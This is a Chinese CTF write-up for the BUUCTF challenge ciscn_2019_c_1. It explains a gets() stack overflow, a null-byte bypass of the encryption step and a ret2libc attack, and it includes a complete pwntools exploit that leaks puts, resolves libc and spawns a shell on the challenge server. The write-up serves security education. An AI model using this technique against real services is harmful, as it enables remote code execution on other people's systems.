64位,开启了NX保护
执行效果如下:
main函数
encrypt()函数
gets()函数存在栈溢出,但是中间部分代码会对传入的字符串做加密处理
中间的部分是对字符串进行处理,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密
溢出距离为0x50+8
这里没有找到可用的后门函数,需要利用libc
思路参考:[BUUCTF]PWN6——ciscn_2019_c_1_bugkuctf-pwn题pwn6-CSDN博客
这一类题目的基本做法
1、利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
用的libc的版本。
2、程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
量,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
3、得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执
行system(’/bin/sh‘)这样的命令
溢出思路如下:buuctf ciscn_2019_c_1 wp_buuf ciscn-2019-c-CSDN博客
首先应将s空间进行泄露,0x50+覆盖rdp的值,即 0x50+8 的数据量进行第一层覆盖
再利用pop_rdi;ret语句进行将下一层值推入寄存器rdi中作为参数,本次payload构建目的在于利用puts函数泄露本身的真实地址,从而获取Libc基址,所以将puts_got作为参数,运行函数地址为puts_plt,即用puts来打印出Puts_got的地址,最后再返回start函数重新运行,在后续中再次利用libc的基址找出system以及“bin/sh”的地址,从而构建第二次payload,要注意的是由于靶机是Ubuntu,所以要构建栈平衡,第二次payload需要加入ret。
ROPgadget 查找pop_rdi;ret地址:
ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"
或者:
ROPgadget --binary ciscn_2019_c_1 |grep "pop rdi"
ROPgadget 查找pop_rdi;ret地址:
ROPgadget --binary ciscn_2019_c_1 --only "ret"
(1)利用gets()函数栈溢出,借助puts()函数将puts()的真实装载地址打印出来,利用LibcSearcher库得到libc版本
r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8) #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi) #pop_rdi;ret地址
payload+=p64(puts_got) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt) #调用puts函数,输出的是puts的got表地址
payload+=p64(main) #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
#让它返回到main函数,这样我们才可以再一次利用输入点构造rop
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0')) # 接收程序返回的地址
# lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr) # 利用LibcSearcher模块找到匹配的libc版本
(2)通过puts()实际装载地址和libc中函数地址差值算出偏移量,从而得到程序中其他函数(system、binsh)的地址
offset=puts_addr-libc.dump('puts') #算出偏移量
binsh=offset+libc.dump('str_bin_sh') #偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')
(3)构造ROP执行system(‘/bin/sh’)命令
payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(ret) # ret地址,为了构建栈平衡
payload+=p64(pop_rdi) # pop_rdi;ret地址
payload+=p64(binsh) # /bin/sh的地址
payload+=p64(system) # system的地址
总的exp如下:
from pwn import *
from LibcSearcher import *
r=remote('node5.buuoj.cn',26531)
elf=ELF('./ciscn_2019_c_1')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))
print (hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)
r.sendlineafter('encrypted\n',payload)
r.interactive()
运行结果如下:
执行过程中会匹配到两个libc版本,这里分别手动选择两个都试一下
第一个libc会直接报错退出
第二个libc可以成功连接打通:(但好像不稳定,第一次连接后执行命令没反应,后面执行又没问题了)
关于pop_rdi;ret的解释
如何利用pop_rdi;ret构造ROP:
参考:
[BUUCTF]PWN6——ciscn_2019_c_1_bugkuctf-pwn题pwn6-CSDN博客
BUUCTF ciscn_2019_c_1 题解-CSDN博客
buuctf ciscn_2019_c_1 wp_buuf ciscn-2019-c-CSDN博客